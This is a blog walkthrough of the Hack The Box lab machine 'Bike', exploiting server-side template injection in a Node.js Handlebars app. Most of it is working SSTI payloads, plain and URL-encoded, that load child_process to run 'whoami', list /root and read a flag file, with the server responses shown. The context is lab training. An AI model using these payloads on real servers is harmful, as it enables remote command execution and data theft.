The Be Sure Blog

Code Snippets | Problem Solving | Tips & Tricks

The Be Sure Blog banner

Bike: Exploit a Node.js template engine vulnerability

posted on 2.6.2023 by Below Surface in "Hack The Box"

Port scan (exchange ip with your machines IP address):

sudo nmap -sV ip

Relevant output:

PORT  STATE SERVICE VERSION
22/tcp open ssh    OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http   Node.js (Express middleware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The website is simple and only allows the user to submit something to the input field. We provide any email address and see that the user input gets displayed on the site after submitting. This could be a possible Cross Site Scripting (XSS) opportunity but in our case submitting basic payloads like

<script>alert(1)</script>

did not work. We have to do something else. Many Python and Node.js backend servers use so called template engines for dynamically generating content for the user view. In our case, we will try to do Server Side Template Injection (SSTI) with BurpSuite. The idea is to inject malicious input into a template with the goal to execute commands on the server. But first we need to identify the used template engine of our target. Below is a linked hacktricks article with helpful commands to do this. We submit:

{{7*7}}

And get:

0	"Error: Parse error on line 1:"
1	"{{7*7}}"
2	"--^"
3	"Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'"
4	" at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)"
5	" at Parser.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:337:30)"
6	" at HandlebarsEnvironment.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)"
7	" at compileInput (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19)"
8	" at ret (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18)"
9	" at router.post (/root/Backend/routes/handlers.js:15:18)"
10	" at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)"
11	" at next (/root/Backend/node_modules/express/lib/router/route.js:137:13)"
12	" at Route.dispatch (/root/Backend/node_modules/express/lib/router/route.js:112:3)"
13	" at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)"

This error message shows, that our submitted payload was detected, but led to an error. At line 4 we can see that the error occurred within the parser of /node_modules/handlebars. So the used template engine is Handlebars.

Time to capture a POST request with BurpSuite. Once captured the POST request, forward it to the Repeater of BurpSuite by pressing ctrl + r. Then we copy the payload of the hacktricks website (link below) for the Node.js Handlebars template engine:

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

To send this code as a payload, we must encode it with URL encoding. Navigate to the Decoder tab of BurpSuite, copy the code from above and select "Encode as..." -> URL. Output:

%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%77%68%6f%61%6d%69%27%29%3b%22%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%7b%7b%74%68%69%73%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%65%61%63%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

Now copy this string and navigate to the Repeater tab of BurpSuite. Paste the string as a value for "email=", so the HTTP request includes:

email=%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%77%68%6f%61%6d%69%27%29%3b%22%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%7b%7b%74%68%69%73%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%65%61%63%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d&action=Submit

Now, hit "Send", to send the modified HTTP request.


Side note: I always have to switch through different ways to use the Hack the Box VPN. The CLI-way did not work for this BurpSuite request. I had to start the VPN from my Windows machine, which is running the Kali VM.


The response should include something like:

"ReferenceError: require is not defined",

This means that we can not use require to load modules, like we tried with our request. The reason is, that require is not part of the global scope. Through research we find that instead of require, we should try process, which is in the global scope. New payload:

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process;"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

Which URL encoded looks like:

%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%3b%22%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%7b%7b%74%68%69%73%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%65%61%63%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

The relevant output is:

<p class="result">
  We will contact you at: e
  2
  [object Object]
  function Function() { [native code] }
  2
  [object Object]
  [object process]
</p>

No error, which is good! We can see the object process. On researching the topic further we find out, that the process object has a mainModule property. This property returns an object that contains the reference of main module. We know that Handlebars runs in a sandbox. But we might be able to use the mainModule property to load the main function, which is most likely not sandboxed. Then we can load require from there.

Yet another payload:

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule;"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URL encoded:

%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%3b%22%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%7b%7b%74%68%69%73%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%65%61%63%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

Relevant response:

<p class="result">
  We will contact you at: e
  2
  [object Object]
  function Function() { [native code] }
  2
  [object Object]
  [object Object]
</p>

The slight difference to the response from above is the last non HTML line: [object Object]. Before that was [object process]!

New payload:

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URL encoded:

%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%3b%22%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%7b%7b%74%68%69%73%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%65%61%63%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

Relevant output:

<p class="result">
   We will contact you at: e
   2
   [object Object]
   function Function() { [native code] }
   2
   [object Object]
   [object Object]
</p>

The require object was called successfully and the child_process module has been loaded. We may now try to run system commands:

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URL encoded:

%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%77%68%6f%61%6d%69%27%29%3b%22%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%7b%7b%74%68%69%73%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%65%61%63%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

Relevant output:

<p class="result">
   We will contact you at: e
   2
   [object Object]
   function Function() { [native code] }
   2
   [object Object]
   root
</p>

Success, we are now root on the system! The flag could be within the root directory, so let's list all files in there:

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('ls /root');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URL encoded:

%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%6c%73%20%2f%72%6f%6f%74%27%29%3b%22%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%7b%7b%74%68%69%73%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%65%61%63%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

Relevant output:

<p class="result">
   We will contact you at: e
   2
   [object Object]
   function Function() { [native code] }
   2
   [object Object]
   Backend
   flag.txt
   snap
</p>

Time to output the flag.txt content:

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('cat /root/flag.txt');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URL encoded:

%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%0a%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%63%6f%6e%73%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e%20%70%72%6f%63%65%73%73%2e%6d%61%69%6e%4d%6f%64%75%6c%65%2e%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%63%61%74%20%2f%72%6f%6f%74%2f%66%6c%61%67%2e%74%78%74%27%29%3b%22%7d%7d%0a%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0a%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%7d%7d%0a%7b%7b%23%77%69%74%68%20%28%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64%65%6c%69%73%74%29%7d%7d%0a%7b%7b%74%68%69%73%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%65%61%63%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d%0a%7b%7b%2f%77%69%74%68%7d%7d

There it is, in the response!

Tags:

hack the box
node.js
handlebars
template engine
server side template injection
ssti
nmap
burpsuite
url encoding
process
require
global scope

Sources:

https://app.hackthebox.com/starting-pointhttps://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection

More posts of this category

Meow: How to pwn the machine (Nmap, Telnet)

Use nmap and telnet to get the flag

Hack The Box

Fawn: Pwn the machine (FTP)

Find the open FTP port and extract the flag!

Hack The Box

Dancing: Pwn the machine (SMB)

How to retrieve the flag with SMB (Server-Message-Block)

Hack The Box

Redeemer: Pwn the machine and capture the flag (Redis)

How to get the flag from the Redis database

Hack The Box

Appointment: Use SQL-Injection to pwn the machine

How to extract the flag by logging in without a password

Hack The Box

Sequel: Access a MariaDB instance with default credentials

Scan for the open ports, log into the database and get the flag!

Hack The Box

Crocodile: Capture the flag! (FTP, Gobuster)

Get credentials via the open FTP port and use Gobuster to find the login file

Hack The Box

Responder: Crack the password hash and login as admin

Use Nmap, modify the hosts file and exploit LFI to grab the hash and crack it

Hack The Box

Three: Get a reverse shell via AWS S3

Use Nmap, Gobuster, Ncat, PHP and the AWS CLI to capture the flag

Hack The Box

Archetype: From user to admin

Make good use of nmap, smbclient, mssqlclient, xp_cmdshell, winPEAS & psexec

Hack The Box

Oopsie: Modify the login cookie, escalate privileges and get the flag!

Upload a PHP reverse shell, get user and then root privileges to pwn the machine

Hack The Box

Vaccine: Pwn the machine (zip2john, hashcat, sqlmap)

Crack the .zip archive, use sql injection and escalate your privileges to get the flags

Hack The Box

Unified: Exploit Log4j, modify a MongoDB entry and get the flags

Log4j exploitation, HTTP request modification & privilege escalation

Hack The Box

Explosion: Use xfreerdp to connect to the service

Make use of the poorly configured service and get the flag

Hack The Box

Preignition: Use Gobuster and default credentials

Gobuster is used to find the login page of the server by dir busting

Hack The Box

Mongod: Use the MongoDB cli to get the flag

MongoDB is a NoSQL database. Use the mongo cli to pwn the machine

Hack The Box

Synced: Use Rsync to browse public shares

Rsync is a fast file copying tool. We will use it to download the flag

Hack The Box

Ignition: Use Gobuster and a common used password

Modify the hosts file, do dir busting and try common passwords to get the flag

Hack The Box

Funnel: Use local port forwarding to access the PostgreSQL DB

Since we can't interact with the DB directly, we use tunneling

Hack The Box

Pennyworth: Remote command execution vulnerability

Default credentials help us to execute Groovy Script code to get a reverse shell

Hack The Box

Tactics: Get the flag via Samba Client or psexec.py

Browse the Windows shares with default credentials and extract the flag

Hack The Box

Included: Local file inclusion, reverse shell and privilege escalation

Use TFTP, get a reverse shell, build and upload an Alpine image with root

Hack The Box

Markup: Use XXE Injection and privilege escalation to get the flag

Nmap, BurpSuite, Ncat, default credentials and misconfigurations

Hack The Box

Base: PHP Type Juggling, Arbitrary File Upload, clear text credentials

Use BurpSuite, Netcat, SSH, Gobuster and PHP to get a reverse shell

Hack The Box

Sau: Use Server Side Request Forgery to pwn the machine

Exploit known vulnerabilities and capture the flags

Hack The Box

Pilgrimage: Use various exploits to get the two flags

Git Repo Dump, Arbitrary File Read, Remote Code Execution

Hack The Box

Topology: Use LaTeX Injection and Hashcat

Get the credentials and crack the password hash to get the flags

Hack The Box

MonitorsTwo: Use two exploits, crack the BCrypt hash and escalate privileges

Get a reverse shell, break out of a Docker container and get the flags

Hack The Box